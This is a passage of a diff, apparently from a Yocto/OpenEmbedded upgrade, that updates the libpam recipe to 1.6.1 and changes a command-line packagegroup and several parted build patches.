51 mapstr = " %s%s %s%s" % (mlprefix, mapped, mlprefix, oldtaskname)
52 d.appendVar("RPROVIDES_%s" % pkg, mapstr)
53 d.appendVar("RREPLACES_%s" % pkg, mapstr)
54 d.appendVar("RCONFLICTS_%s" % pkg, mapstr)
55}
56
57
58RDEPENDS_packagegroup-core-full-cmdline = "\
59 packagegroup-core-full-cmdline-libs \
60 packagegroup-core-full-cmdline-utils \ 21 packagegroup-core-full-cmdline-utils \
61 packagegroup-core-full-cmdline-extended \ 22 packagegroup-core-full-cmdline-extended \
62 packagegroup-core-full-cmdline-dev-utils \ 23 packagegroup-core-full-cmdline-dev-utils \
@@ -65,11 +26,7 @@ RDEPENDS_packagegroup-core-full-cmdline = "\
65 packagegroup-core-full-cmdline-sys-services \ 26 packagegroup-core-full-cmdline-sys-services \
66 " 27 "
67 28
68RDEPENDS_packagegroup-core-full-cmdline-libs = "\ 29RDEPENDS:packagegroup-core-full-cmdline-utils = "\
69 glib-2.0 \
70 "
71
72RDEPENDS_packagegroup-core-full-cmdline-utils = "\
73 bash \ 30 bash \
74 acl \ 31 acl \
75 attr \ 32 attr \
@@ -81,12 +38,11 @@ RDEPENDS_packagegroup-core-full-cmdline-utils = "\
81 file \ 38 file \
82 findutils \ 39 findutils \
83 gawk \ 40 gawk \
84 gmp \
85 grep \ 41 grep \
86 less \ 42 less \
87 makedevs \ 43 makedevs \
88 mc \ 44 mc \
89 mc-fish \ 45 mc-shell \
90 mc-helpers \ 46 mc-helpers \
91 mc-helpers-perl \ 47 mc-helpers-perl \
92 ncurses \ 48 ncurses \
@@ -99,7 +55,7 @@ RDEPENDS_packagegroup-core-full-cmdline-utils = "\
99 util-linux \ 55 util-linux \
100 " 56 "
101 57
102RDEPENDS_packagegroup-core-full-cmdline-extended = "\ 58RDEPENDS:packagegroup-core-full-cmdline-extended = "\
103 iproute2 \ 59 iproute2 \
104 iputils \ 60 iputils \
105 iptables \ 61 iptables \
@@ -107,7 +63,7 @@ RDEPENDS_packagegroup-core-full-cmdline-extended = "\
107 openssl \ 63 openssl \
108 " 64 "
109 65
110RDEPENDS_packagegroup-core-full-cmdline-dev-utils = "\ 66RDEPENDS:packagegroup-core-full-cmdline-dev-utils = "\
111 diffutils \ 67 diffutils \
112 m4 \ 68 m4 \
113 make \ 69 make \
@@ -115,7 +71,7 @@ RDEPENDS_packagegroup-core-full-cmdline-dev-utils = "\
115 " 71 "
116 72
117VIRTUAL-RUNTIME_syslog ?= "sysklogd" 73VIRTUAL-RUNTIME_syslog ?= "sysklogd"
118RDEPENDS_packagegroup-core-full-cmdline-initscripts = "\ 74RDEPENDS:packagegroup-core-full-cmdline-initscripts = "\
119 ${VIRTUAL-RUNTIME_initscripts} \ 75 ${VIRTUAL-RUNTIME_initscripts} \
120 ${VIRTUAL-RUNTIME_init_manager} \ 76 ${VIRTUAL-RUNTIME_init_manager} \
121 ethtool \ 77 ethtool \
@@ -123,7 +79,7 @@ RDEPENDS_packagegroup-core-full-cmdline-initscripts = "\
123 ${VIRTUAL-RUNTIME_syslog} \ 79 ${VIRTUAL-RUNTIME_syslog} \
124 " 80 "
125 81
126RDEPENDS_packagegroup-core-full-cmdline-multiuser = "\ 82RDEPENDS:packagegroup-core-full-cmdline-multiuser = "\
127 bzip2 \ 83 bzip2 \
128 cracklib \ 84 cracklib \
129 gzip \ 85 gzip \
@@ -131,7 +87,7 @@ RDEPENDS_packagegroup-core-full-cmdline-multiuser = "\
131 sudo \ 87 sudo \
132 " 88 "
133 89
134RDEPENDS_packagegroup-core-full-cmdline-sys-services = "\ 90RDEPENDS:packagegroup-core-full-cmdline-sys-services = "\
135 at \ 91 at \
136 cronie \ 92 cronie \
137 logrotate \ 93 logrotate \
diff --git a/meta/recipes-extended/pam/libpam/0001-Makefile.am-support-usrmage.patch b/meta/recipes-extended/pam/libpam/0001-Makefile.am-support-usrmage.patch
deleted file mode 100644
index 5c6bc92705..0000000000
--- a/meta/recipes-extended/pam/libpam/0001-Makefile.am-support-usrmage.patch
+++ /dev/null
@@ -1,28 +0,0 @@
1From c09e012590c1ec2d3b622b64f1bfc10a2286c9ea Mon Sep 17 00:00:00 2001
2From: Changqing Li <changqing.li@windriver.com>
3Date: Wed, 6 Jan 2021 12:08:20 +0800
4Subject: [PATCH] Makefile.am: support usrmage
5
6Upstream-Status: Inappropriate [oe-specific]
7
8Signed-off-by: Changqing Li <changqing.li@windriver.com>
9---
10 modules/pam_namespace/Makefile.am | 2 +-
11 1 file changed, 1 insertion(+), 1 deletion(-)
12
13diff --git a/modules/pam_namespace/Makefile.am b/modules/pam_namespace/Makefile.am
14index ddd5fc0..a1f1bec 100644
15--- a/modules/pam_namespace/Makefile.am
16+++ b/modules/pam_namespace/Makefile.am
17@@ -18,7 +18,7 @@ TESTS = $(dist_check_SCRIPTS)
18 securelibdir = $(SECUREDIR)
19 secureconfdir = $(SCONFIGDIR)
20 namespaceddir = $(SCONFIGDIR)/namespace.d
21-servicedir = /lib/systemd/system
22+servicedir = $(systemd_system_unitdir)
23
24 AM_CFLAGS = -I$(top_srcdir)/libpam/include -I$(top_srcdir)/libpamc/include \
25 -DSECURECONF_DIR=\"$(SCONFIGDIR)/\" $(WARN_CFLAGS)
26--
272.17.1
28
diff --git a/meta/recipes-extended/pam/libpam/0001-modules-pam_namespace-Makefile.am-correctly-install-.patch b/meta/recipes-extended/pam/libpam/0001-modules-pam_namespace-Makefile.am-correctly-install-.patch
deleted file mode 100644
index b41d1e5962..0000000000
--- a/meta/recipes-extended/pam/libpam/0001-modules-pam_namespace-Makefile.am-correctly-install-.patch
+++ /dev/null
@@ -1,28 +0,0 @@
1From e2db4082f6b988f1d5803028e9e47aee5f3519ac Mon Sep 17 00:00:00 2001
2From: Alexander Kanavin <alex.kanavin@gmail.com>
3Date: Sun, 27 Dec 2020 00:30:45 +0100
4Subject: [PATCH] modules/pam_namespace/Makefile.am: correctly install systemd
5 unit file
6
7Upstream-Status: Pending
8Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
9---
10 modules/pam_namespace/Makefile.am | 2 +-
11 1 file changed, 1 insertion(+), 1 deletion(-)
12
13diff --git a/modules/pam_namespace/Makefile.am b/modules/pam_namespace/Makefile.am
14index 21e1b33..ddd5fc0 100644
15--- a/modules/pam_namespace/Makefile.am
16+++ b/modules/pam_namespace/Makefile.am
17@@ -18,7 +18,7 @@ TESTS = $(dist_check_SCRIPTS)
18 securelibdir = $(SECUREDIR)
19 secureconfdir = $(SCONFIGDIR)
20 namespaceddir = $(SCONFIGDIR)/namespace.d
21-servicedir = $(prefix)/lib/systemd/system
22+servicedir = /lib/systemd/system
23
24 AM_CFLAGS = -I$(top_srcdir)/libpam/include -I$(top_srcdir)/libpamc/include \
25 -DSECURECONF_DIR=\"$(SCONFIGDIR)/\" $(WARN_CFLAGS)
26--
272.24.0
28
diff --git a/meta/recipes-extended/pam/libpam/99_pam b/meta/recipes-extended/pam/libpam/99_pam
index 97e990d10b..a88247be13 100644
--- a/meta/recipes-extended/pam/libpam/99_pam
+++ b/meta/recipes-extended/pam/libpam/99_pam
@@ -1 +1 @@
d root root 0755 /var/run/sepermit none d root root 0755 /run/sepermit none
diff --git a/meta/recipes-extended/pam/libpam/libpam-xtests.patch b/meta/recipes-extended/pam/libpam/libpam-xtests.patch
index ea145899b4..f2dafa72a5 100644
--- a/meta/recipes-extended/pam/libpam/libpam-xtests.patch
+++ b/meta/recipes-extended/pam/libpam/libpam-xtests.patch
@@ -1,13 +1,21 @@
1This patch is used to create a new sub package libpam-xtests to do more checks. 1From 060726f7e60c8ecb5bf50fd776910b290d9a0a69 Mon Sep 17 00:00:00 2001
2From: Kang Kai <kai.kang@windriver.com>
3Date: Tue, 19 Jul 2011 17:08:31 +0800
4Subject: [PATCH] This patch is used to create a new sub package libpam-xtests
5 to do more checks.
2 6
3Upstream-Status: Pending 7Upstream-Status: Pending
4 8
5Signed-off-by: Kang Kai <kai.kang@windriver.com> 9Signed-off-by: Kang Kai <kai.kang@windriver.com>
6Index: Linux-PAM-1.3.0/xtests/Makefile.am 10---
7=================================================================== 11 xtests/Makefile.am | 17 ++++++++++++++++-
8--- Linux-PAM-1.3.0.orig/xtests/Makefile.am 12 1 file changed, 16 insertions(+), 1 deletion(-)
9+++ Linux-PAM-1.3.0/xtests/Makefile.am 13
10@@ -7,7 +7,7 @@ AM_CFLAGS = -DLIBPAM_COMPILE -I$(top_src 14diff --git a/xtests/Makefile.am b/xtests/Makefile.am
15index acf9746..9826c9f 100644
16--- a/xtests/Makefile.am
17+++ b/xtests/Makefile.am
18@@ -8,7 +8,7 @@ AM_CFLAGS = -DLIBPAM_COMPILE -I$(top_srcdir)/libpam/include \
11 LDADD = $(top_builddir)/libpam/libpam.la \ 19 LDADD = $(top_builddir)/libpam/libpam.la \
12 $(top_builddir)/libpam_misc/libpam_misc.la 20 $(top_builddir)/libpam_misc/libpam_misc.la
13 21
@@ -16,7 +24,7 @@ Index: Linux-PAM-1.3.0/xtests/Makefile.am
16 24
17 EXTRA_DIST = run-xtests.sh tst-pam_dispatch1.pamd tst-pam_dispatch2.pamd \ 25 EXTRA_DIST = run-xtests.sh tst-pam_dispatch1.pamd tst-pam_dispatch2.pamd \
18 tst-pam_dispatch3.pamd tst-pam_dispatch4.pamd \ 26 tst-pam_dispatch3.pamd tst-pam_dispatch4.pamd \
19@@ -51,3 +51,18 @@ EXTRA_PROGRAMS = $(XTESTS) 27@@ -55,3 +55,18 @@ EXTRA_PROGRAMS = $(XTESTS)
20 28
21 xtests: $(XTESTS) run-xtests.sh 29 xtests: $(XTESTS) run-xtests.sh
22 "$(srcdir)"/run-xtests.sh "$(srcdir)" ${XTESTS} ${NOSRCTESTS} 30 "$(srcdir)"/run-xtests.sh "$(srcdir)" ${XTESTS} ${NOSRCTESTS}
diff --git a/meta/recipes-extended/pam/libpam/pam-volatiles.conf b/meta/recipes-extended/pam/libpam/pam-volatiles.conf
new file mode 100644
index 0000000000..1263feb03d
--- /dev/null
+++ b/meta/recipes-extended/pam/libpam/pam-volatiles.conf
@@ -0,0 +1 @@
d /run/sepermit 0755 root root - -
diff --git a/meta/recipes-extended/pam/libpam/run-ptest b/meta/recipes-extended/pam/libpam/run-ptest
index 69e729ce2a..9c304aee47 100644
--- a/meta/recipes-extended/pam/libpam/run-ptest
+++ b/meta/recipes-extended/pam/libpam/run-ptest
@@ -2,9 +2,10 @@
2 2
3cd tests 3cd tests
4 4
5export srcdir=.
6
5failed=0 7failed=0
6all=0 8all=0
7
8for f in tst-*; do 9for f in tst-*; do
9 "./$f" > /dev/null 2>&1 10 "./$f" > /dev/null 2>&1
10 case "$?" in 11 case "$?" in
@@ -28,4 +29,4 @@ if [ "$failed" -eq 0 ] ; then
28else 29else
29 echo "$failed of $all tests failed" 30 echo "$failed of $all tests failed"
30fi 31fi
31 32unset srcdir
diff --git a/meta/recipes-extended/pam/libpam_1.5.1.bb b/meta/recipes-extended/pam/libpam_1.6.1.bb
index f225487688..849f485f75 100644
--- a/meta/recipes-extended/pam/libpam_1.5.1.bb
+++ b/meta/recipes-extended/pam/libpam_1.6.1.bb
@@ -6,13 +6,13 @@ BUGTRACKER = "https://fedorahosted.org/linux-pam/newticket"
6SECTION = "base" 6SECTION = "base"
7# PAM is dual licensed under GPL and BSD. 7# PAM is dual licensed under GPL and BSD.
8# /etc/pam.d comes from Debian libpam-runtime in 2009-11 (at that time 8# /etc/pam.d comes from Debian libpam-runtime in 2009-11 (at that time
9# libpam-runtime-1.0.1 is GPLv2+), by openembedded 9# libpam-runtime-1.0.1 is GPL-2.0-or-later), by openembedded
10LICENSE = "GPLv2+ | BSD" 10LICENSE = "GPL-2.0-or-later | BSD-3-Clause"
11LIC_FILES_CHKSUM = "file://COPYING;md5=7eb5c1bf854e8881005d673599ee74d3 \ 11LIC_FILES_CHKSUM = "file://COPYING;md5=7eb5c1bf854e8881005d673599ee74d3 \
12 file://libpamc/License;md5=a4da476a14c093fdc73be3c3c9ba8fb3 \ 12 file://libpamc/License;md5=a4da476a14c093fdc73be3c3c9ba8fb3 \
13 " 13 "
14 14
15SRC_URI = "https://github.com/linux-pam/linux-pam/releases/download/v${PV}/Linux-PAM-${PV}.tar.xz \ 15SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/Linux-PAM-${PV}.tar.xz \
16 file://99_pam \ 16 file://99_pam \
17 file://pam.d/common-account \ 17 file://pam.d/common-account \
18 file://pam.d/common-auth \ 18 file://pam.d/common-auth \
@@ -21,37 +21,45 @@ SRC_URI = "https://github.com/linux-pam/linux-pam/releases/download/v${PV}/Linux
21 file://pam.d/common-session-noninteractive \ 21 file://pam.d/common-session-noninteractive \
22 file://pam.d/other \ 22 file://pam.d/other \
23 file://libpam-xtests.patch \ 23 file://libpam-xtests.patch \
24 file://0001-modules-pam_namespace-Makefile.am-correctly-install-.patch \
25 file://0001-Makefile.am-support-usrmage.patch \
26 file://run-ptest \ 24 file://run-ptest \
25 file://pam-volatiles.conf \
27 " 26 "
28 27
29SRC_URI[sha256sum] = "201d40730b1135b1b3cdea09f2c28ac634d73181ccd0172ceddee3649c5792fc" 28SRC_URI[sha256sum] = "f8923c740159052d719dbfc2a2f81942d68dd34fcaf61c706a02c9b80feeef8e"
30 29
31DEPENDS = "bison-native flex flex-native cracklib libxml2-native virtual/crypt" 30DEPENDS = "bison-native flex-native cracklib libxml2-native virtual/crypt"
32 31
33EXTRA_OECONF = "--includedir=${includedir}/security \ 32EXTRA_OECONF = "--includedir=${includedir}/security \
34 --libdir=${base_libdir} \ 33 --libdir=${base_libdir} \
34 --with-systemdunitdir=${systemd_system_unitdir} \
35 --disable-nis \ 35 --disable-nis \
36 --disable-regenerate-docu \ 36 --disable-regenerate-docu \
37 --disable-doc \ 37 --disable-doc \
38 --disable-prelude" 38 --disable-prelude"
39 39
40CFLAGS_append = " -fPIC " 40CFLAGS:append = " -fPIC "
41 41
42S = "${WORKDIR}/Linux-PAM-${PV}" 42S = "${WORKDIR}/Linux-PAM-${PV}"
43 43
44inherit autotools gettext pkgconfig systemd ptest 44inherit autotools gettext pkgconfig systemd ptest github-releases
45 45
46PACKAGECONFIG ??= "" 46PACKAGECONFIG ??= ""
47PACKAGECONFIG[audit] = "--enable-audit,--disable-audit,audit," 47PACKAGECONFIG[audit] = "--enable-audit,--disable-audit,audit,"
48PACKAGECONFIG[userdb] = "--enable-db=db,--enable-db=no,db," 48PACKAGECONFIG[userdb] = "--enable-db=db,--enable-db=no,db,"
49 49
50PACKAGES += "${PN}-runtime ${PN}-xtests" 50PACKAGES += "${PN}-runtime ${PN}-xtests"
51FILES_${PN} = "${base_libdir}/lib*${SOLIBS}" 51FILES:${PN} = " \
52FILES_${PN}-dev += "${base_libdir}/security/*.la ${base_libdir}/*.la ${base_libdir}/lib*${SOLIBSDEV}" 52 ${base_libdir}/lib*${SOLIBS} \
53FILES_${PN}-runtime = "${sysconfdir} ${sbindir} ${systemd_system_unitdir}" 53 ${nonarch_libdir}/tmpfiles.d/*.conf \
54FILES_${PN}-xtests = "${datadir}/Linux-PAM/xtests" 54"
55FILES:${PN}-dev += "${base_libdir}/security/*.la ${base_libdir}/*.la ${base_libdir}/lib*${SOLIBSDEV}"
56FILES:${PN}-runtime = "${sysconfdir} ${sbindir} ${systemd_system_unitdir}"
57FILES:${PN}-xtests = "${datadir}/Linux-PAM/xtests"
58
59# libpam installs /etc/environment for use with the pam_env plugin. Make sure it is
60# packaged with the pam-plugin-env package to avoid breaking installations which
61# install that file via other packages
62FILES:pam-plugin-env = "${sysconfdir}/environment"
55 63
56PACKAGES_DYNAMIC += "^${MLPREFIX}pam-plugin-.*" 64PACKAGES_DYNAMIC += "^${MLPREFIX}pam-plugin-.*"
57 65
@@ -61,16 +69,16 @@ def get_multilib_bit(d):
61 69
62libpam_suffix = "suffix${@get_multilib_bit(d)}" 70libpam_suffix = "suffix${@get_multilib_bit(d)}"
63 71
64RPROVIDES_${PN} += "${PN}-${libpam_suffix}" 72RPROVIDES:${PN} += "${PN}-${libpam_suffix}"
65RPROVIDES_${PN}-runtime += "${PN}-runtime-${libpam_suffix}" 73RPROVIDES:${PN}-runtime += "${PN}-runtime-${libpam_suffix}"
66 74
67RDEPENDS_${PN}-runtime = "${PN}-${libpam_suffix} \ 75RDEPENDS:${PN}-runtime = "${PN}-${libpam_suffix} \
68 ${MLPREFIX}pam-plugin-deny-${libpam_suffix} \ 76 ${MLPREFIX}pam-plugin-deny-${libpam_suffix} \
69 ${MLPREFIX}pam-plugin-permit-${libpam_suffix} \ 77 ${MLPREFIX}pam-plugin-permit-${libpam_suffix} \
70 ${MLPREFIX}pam-plugin-warn-${libpam_suffix} \ 78 ${MLPREFIX}pam-plugin-warn-${libpam_suffix} \
71 ${MLPREFIX}pam-plugin-unix-${libpam_suffix} \ 79 ${MLPREFIX}pam-plugin-unix-${libpam_suffix} \
72 " 80 "
73RDEPENDS_${PN}-xtests = "${PN}-${libpam_suffix} \ 81RDEPENDS:${PN}-xtests = "${PN}-${libpam_suffix} \
74 ${MLPREFIX}pam-plugin-access-${libpam_suffix} \ 82 ${MLPREFIX}pam-plugin-access-${libpam_suffix} \
75 ${MLPREFIX}pam-plugin-debug-${libpam_suffix} \ 83 ${MLPREFIX}pam-plugin-debug-${libpam_suffix} \
76 ${MLPREFIX}pam-plugin-pwhistory-${libpam_suffix} \ 84 ${MLPREFIX}pam-plugin-pwhistory-${libpam_suffix} \
@@ -79,27 +87,27 @@ RDEPENDS_${PN}-xtests = "${PN}-${libpam_suffix} \
79 bash coreutils" 87 bash coreutils"
80 88
81# FIXME: Native suffix breaks here, disable it for now 89# FIXME: Native suffix breaks here, disable it for now
82RRECOMMENDS_${PN} = "${PN}-runtime-${libpam_suffix}" 90RRECOMMENDS:${PN} = "${PN}-runtime-${libpam_suffix}"
83RRECOMMENDS_${PN}_class-native = "" 91RRECOMMENDS:${PN}:class-native = ""
84 92
85python populate_packages_prepend () { 93python populate_packages:prepend () {
86 def pam_plugin_hook(file, pkg, pattern, format, basename): 94 def pam_plugin_hook(file, pkg, pattern, format, basename):
87 pn = d.getVar('PN') 95 pn = d.getVar('PN')
88 libpam_suffix = d.getVar('libpam_suffix') 96 libpam_suffix = d.getVar('libpam_suffix')
89 97
90 rdeps = d.getVar('RDEPENDS_' + pkg) 98 rdeps = d.getVar('RDEPENDS:' + pkg)
91 if rdeps: 99 if rdeps:
92 rdeps = rdeps + " " + pn + "-" + libpam_suffix 100 rdeps = rdeps + " " + pn + "-" + libpam_suffix
93 else: 101 else:
94 rdeps = pn + "-" + libpam_suffix 102 rdeps = pn + "-" + libpam_suffix
95 d.setVar('RDEPENDS_' + pkg, rdeps) 103 d.setVar('RDEPENDS:' + pkg, rdeps)
96 104
97 provides = d.getVar('RPROVIDES_' + pkg) 105 provides = d.getVar('RPROVIDES:' + pkg)
98 if provides: 106 if provides:
99 provides = provides + " " + pkg + "-" + libpam_suffix 107 provides = provides + " " + pkg + "-" + libpam_suffix
100 else: 108 else:
101 provides = pkg + "-" + libpam_suffix 109 provides = pkg + "-" + libpam_suffix
102 d.setVar('RPROVIDES_' + pkg, provides) 110 d.setVar('RPROVIDES:' + pkg, provides)
103 111
104 mlprefix = d.getVar('MLPREFIX') or '' 112 mlprefix = d.getVar('MLPREFIX') or ''
105 dvar = d.expand('${WORKDIR}/package') 113 dvar = d.expand('${WORKDIR}/package')
@@ -109,7 +117,7 @@ python populate_packages_prepend () {
109 pam_pkgname = mlprefix + 'pam-plugin%s' 117 pam_pkgname = mlprefix + 'pam-plugin%s'
110 118
111 do_split_packages(d, pam_libdir, r'^pam(.*)\.so$', pam_pkgname, 119 do_split_packages(d, pam_libdir, r'^pam(.*)\.so$', pam_pkgname,
112 'PAM plugin for %s', hook=pam_plugin_hook, extra_depends='') 120 'PAM plugin for %s', hook=pam_plugin_hook, extra_depends='', prepend=True)
113 do_split_packages(d, pam_filterdir, r'^(.*)$', 'pam-filter-%s', 'PAM filter for %s', extra_depends='') 121 do_split_packages(d, pam_filterdir, r'^(.*)$', 'pam-filter-%s', 'PAM filter for %s', extra_depends='')
114} 122}
115 123
@@ -125,8 +133,18 @@ do_install() {
125 133
126 # don't install /var/run when populating rootfs. Do it through volatile 134 # don't install /var/run when populating rootfs. Do it through volatile
127 rm -rf ${D}${localstatedir} 135 rm -rf ${D}${localstatedir}
128 install -d ${D}${sysconfdir}/default/volatiles 136
129 install -m 0644 ${WORKDIR}/99_pam ${D}${sysconfdir}/default/volatiles 137 if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','false','true',d)}; then
138 rm -rf ${D}${sysconfdir}/init.d/
139 rm -rf ${D}${sysconfdir}/rc*
140 install -d ${D}${nonarch_libdir}/tmpfiles.d
141 install -m 0644 ${WORKDIR}/pam-volatiles.conf \
142 ${D}${nonarch_libdir}/tmpfiles.d/pam.conf
143 else
144 install -d ${D}${sysconfdir}/default/volatiles
145 install -m 0644 ${WORKDIR}/99_pam \
146 ${D}${sysconfdir}/default/volatiles/
147 fi
130 148
131 install -d ${D}${sysconfdir}/pam.d/ 149 install -d ${D}${sysconfdir}/pam.d/
132 install -m 0644 ${WORKDIR}/pam.d/* ${D}${sysconfdir}/pam.d/ 150 install -m 0644 ${WORKDIR}/pam.d/* ${D}${sysconfdir}/pam.d/
@@ -137,27 +155,36 @@ do_install() {
137 if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then 155 if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
138 echo "session optional pam_systemd.so" >> ${D}${sysconfdir}/pam.d/common-session 156 echo "session optional pam_systemd.so" >> ${D}${sysconfdir}/pam.d/common-session
139 fi 157 fi
158 if ${@bb.utils.contains('DISTRO_FEATURES','usrmerge','false','true',d)}; then
159 install -d ${D}/${libdir}/
160 mv ${D}/${base_libdir}/pkgconfig ${D}/${libdir}/
161 fi
140} 162}
141 163
142do_install_ptest() { 164do_install_ptest() {
143 if [ ${PTEST_ENABLED} = "1" ]; then 165 mkdir -p ${D}${PTEST_PATH}/tests
144 mkdir -p ${D}${PTEST_PATH}/tests 166 install -m 0755 ${B}/tests/.libs/* ${D}${PTEST_PATH}/tests
145 install -m 0755 ${B}/tests/.libs/* ${D}${PTEST_PATH}/tests 167 install -m 0644 ${S}/tests/confdir ${D}${PTEST_PATH}/tests
146 fi 168}
169
170pkg_postinst:${PN}() {
171 if [ -z "$D" ] && [ -e /etc/init.d/populate-volatile.sh ] ; then
172 /etc/init.d/populate-volatile.sh update
173 fi
147} 174}
148 175
149inherit features_check 176inherit features_check
150REQUIRED_DISTRO_FEATURES = "pam" 177ANY_OF_DISTRO_FEATURES = "pam systemd"
151 178
152BBCLASSEXTEND = "nativesdk native" 179BBCLASSEXTEND = "nativesdk native"
153 180
154CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-session" 181CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-session"
155CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-auth" 182CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-auth"
156CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-password" 183CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-password"
157CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-session-noninteractive" 184CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-session-noninteractive"
158CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-account" 185CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-account"
159CONFFILES_${PN}-runtime += "${sysconfdir}/security/limits.conf" 186CONFFILES:${PN}-runtime += "${sysconfdir}/security/limits.conf"
160 187
161UPSTREAM_CHECK_URI = "https://github.com/linux-pam/linux-pam/releases" 188GITHUB_BASE_URI = "https://github.com/linux-pam/linux-pam/releases"
162 189
163CVE_PRODUCT = "linux-pam" 190CVE_PRODUCT = "linux-pam"
diff --git a/meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch b/meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch
new file mode 100644
index 0000000000..10354f1ed9
--- /dev/null
+++ b/meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch
@@ -0,0 +1,34 @@
1From 1fc88332f7e906294fd889287b9e84cefc7f1586 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Mon, 12 Jun 2023 10:40:07 -0700
4Subject: [PATCH] fs: Add libuuid to linker flags for libparted-fs-resize
5 library
6
7This library uses uuid_generate function which comes from libuuid and
8hence it should be mentioned on linker cmdline
9
10fixes
11| aarch64-yoe-linux-ld.lld: error: undefined reference due to --no-allow-shlib-undefined: uuid_generate
12| >>> referenced by /mnt/b/yoe/master/build/tmp/work/cortexa72-cortexa53-crypto-yoe-linux/fatresize/1.1.0-r0/recipe-sysroot/usr/lib/libparted-fs-resize.so
13
14Upstream-Status: Submitted [https://alioth-lists.debian.net/pipermail/parted-devel/2023-June/005873.html]
15Signed-off-by: Khem Raj <raj.khem@gmail.com>
16---
17 libparted/fs/Makefile.am | 1 +
18 1 file changed, 1 insertion(+)
19
20diff --git a/libparted/fs/Makefile.am b/libparted/fs/Makefile.am
21index 2f345f3..a8970eb 100644
22--- a/libparted/fs/Makefile.am
23+++ b/libparted/fs/Makefile.am
24@@ -75,6 +75,7 @@ libparted_fs_resize_la_LDFLAGS = \
25 EXTRA_DIST += fsresize.sym
26 libparted_fs_resize_la_DEPENDENCIES = $(sym_file)
27
28+libparted_fs_resize_la_LIBADD = $(UUID_LIBS)
29 libparted_fs_resize_la_SOURCES = \
30 r/filesys.c \
31 r/fat/bootsector.c \
32--
332.41.0
34
diff --git a/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch b/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch
deleted file mode 100644
index bd2b5c55b1..0000000000
--- a/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch
+++ /dev/null
@@ -1,34 +0,0 @@
1From 5c99d7e4c2b5e7a957dc922aff03debfebbd6154 Mon Sep 17 00:00:00 2001
2From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@googlemail.com>
3Date: Fri, 3 Mar 2017 21:49:15 +0100
4Subject: [PATCH] libparted_fs_resize: link against libuuid explicitly to
5 unbreak gold linking on test
6MIME-Version: 1.0
7Content-Type: text/plain; charset=UTF-8
8Content-Transfer-Encoding: 8bit
9
10| ../libparted/fs/.libs/libparted-fs-resize.so: error: undefined reference to 'uuid_generate'
11
12Upstream-Status: Pending
13
14Signed-off-by: Andreas Müller <schnitzeltony@googlemail.com>
15---
16 libparted/fs/Makefile.am | 2 ++
17 1 file changed, 2 insertions(+)
18
19diff --git a/libparted/fs/Makefile.am b/libparted/fs/Makefile.am
20index d3cc8bc..c301b0b 100644
21--- a/libparted/fs/Makefile.am
22+++ b/libparted/fs/Makefile.am
23@@ -113,6 +113,8 @@ libparted_fs_resize_la_SOURCES = \
24 r/hfs/reloc_plus.c \
25 r/hfs/reloc_plus.h
26
27+libparted_fs_resize_la_LIBADD = $(UUID_LIBS)
28+
29 AM_CPPFLAGS = \
30 -I$(top_srcdir)/libparted/labels \
31 $(partedincludedir) \
32--
332.9.3
34
diff --git a/meta/recipes-extended/parted/files/autoconf-2.73.patch b/meta/recipes-extended/parted/files/autoconf-2.73.patch
new file mode 100644
index 0000000000..63dea88bfc
--- /dev/null
+++ b/meta/recipes-extended/parted/files/autoconf-2.73.patch
@@ -0,0 +1,22 @@
1The gnulib largefile macro needs updating to work with autoconf 2.73. Rather
2than the full code:
3
4https://git.savannah.gnu.org/cgit/gnulib.git/commit/m4/largefile.m4?id=f91f633858cf132e50924224c50d6264a92caabb
5
6Just tweak the exiting code to work with 2.73. The next parted upgrade should
7update to new gnulib
8
9Upstream-Status: Inappropriate
10Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
11
12--- a/m4/largefile.m4
13+++ b/m4/largefile.m4
14@@ -27,7 +27,7 @@ AC_DEFUN([gl_SET_LARGEFILE_SOURCE],
15 # Work around a problem in autoconf <= 2.69:
16 # AC_SYS_LARGEFILE does not configure for large inodes on Mac OS X 10.5,
17 # or configures them incorrectly in some cases.
18-m4_version_prereq([2.70], [], [
19+m4_version_prereq([2.73], [], [
20
21 # _AC_SYS_LARGEFILE_TEST_INCLUDES
22 # -------------------------------
diff --git a/meta/recipes-extended/parted/files/no_check.patch b/meta/recipes-extended/parted/files/no_check.patch
deleted file mode 100644
index e6a26d11a5..0000000000
--- a/meta/recipes-extended/parted/files/no_check.patch
+++ /dev/null
@@ -1,20 +0,0 @@
1Upstream-Status: Inappropriate [configuration]
2
3If check is detected, it makes the builds non-determinstic so just force
4it to be disabled.
5
6RP - 4/11/08
7
8Index: parted-3.2/configure.ac
9===================================================================
10--- parted-3.2.orig/configure.ac
11+++ parted-3.2/configure.ac
12@@ -555,7 +555,7 @@ AC_CHECK_HEADER([execinfo.h], [
13 AM_CONDITIONAL([COMPILE_FOR_S390], [test "$host_cpu" = s390 || test "$host_cpu" = s390x])
14
15 dnl check for "check", unit testing library/header
16-PKG_CHECK_MODULES([CHECK], [check >= 0.9.3], have_check=yes, have_check=no)
17+have_check=no
18 if test "$have_check" != "yes"; then
19 AC_MSG_RESULT([Unable to locate check version 0.9.3 or higher: not building])
20 fi
diff --git a/meta/recipes-extended/parted/files/run-ptest b/meta/recipes-extended/parted/files/run-ptest
